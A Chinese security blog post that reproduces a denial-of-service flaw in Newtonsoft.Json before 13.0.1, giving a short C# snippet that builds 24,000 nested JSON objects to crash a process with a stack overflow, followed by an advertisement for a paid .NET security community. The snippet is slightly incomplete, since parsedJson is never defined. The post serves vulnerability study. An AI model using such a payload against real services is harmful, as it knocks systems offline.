.NET组件安全 - 复现Newtonsoft.Json DoS

admin 2023年7月20日12:12:46评论51 views字数 1227阅读4分5秒阅读模式

0x01 复现

Newtonsoft.Json13.0.1版本之前存在一个安全漏洞,涉及处理多层嵌套表达式时的错误处理可能导致 StackOverFlow 异常或过高的CPURAM使用率引发拒绝服务DoS攻击。

这里触发漏洞需要非常多层的嵌套,需要数据量>10k或输入大小约为9.5MB的结构,例如创建24000次"{a:{a:{...",然后再次创建24000次"}",恶意攻击载荷代码创建实现如下

int nRep = 24000;string json = string.Concat(Enumerable.Repeat("{a:", nRep)) + "1" +string.Concat(Enumerable.Repeat("}", nRep));using (var ms = new MemoryStream())using (var sWriter = new StreamWriter(ms))using (var jWriter = new JsonTextWriter(sWriter)){  parsedJson.WriteTo(jWriter);}

上述代码通过调用parsedJson.WriteTo(jWriter)将JObject对象写入到JsonTextWriter,此时抛出"Process is terminated due to StackOverflowException"进程关闭的异常信息,如下图所示

.NET组件安全 - 复现Newtonsoft.Json DoS

同样JsonConvert.Serialize和JsonConvert.DeserializeObject同样也会遇到拒绝服务漏洞,如下图

.NET组件安全 - 复现Newtonsoft.Json DoS

星球优惠活动

为了更好地应对基于.NET技术栈的风险识别和未知威胁,dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术,定位于高质量安全攻防星球社区,得到了许多师傅们的支持和信任,通过星球深度连接入圈的师傅们,一起推动.NET安全高质量的向前发展经过运营团队成员商议一致同意给到师傅们最大优惠力度,只需99元就可以加入我们。

星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等,后续还会倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。

.NET组件安全 - 复现Newtonsoft.Json DoS

.NET组件安全 - 复现Newtonsoft.Json DoS

.NET组件安全 - 复现Newtonsoft.Json DoS

.NET组件安全 - 复现Newtonsoft.Json DoS

dotNet安全矩阵知识星球 — 聚焦于微软.NET安全技术,关注基于.NET衍生出的各种红蓝攻防对抗技术、分享内容不限于 .NET代码审计、 最新的.NET漏洞分析、反序列化漏洞研究、有趣的.NET安全Trick、.NET开源软件分享、. NET生态等热点话题、还可以获得阿里、蚂蚁、字节等大厂内推的机会.

.NET组件安全 - 复现Newtonsoft.Json DoS

原文始发于微信公众号(dotNet安全矩阵):.NET组件安全 - 复现Newtonsoft.Json DoS

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月20日12:12:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   .NET组件安全 - 复现Newtonsoft.Json DoShttps://cn-sec.com/archives/1892920.html

发表评论

匿名网友 填写信息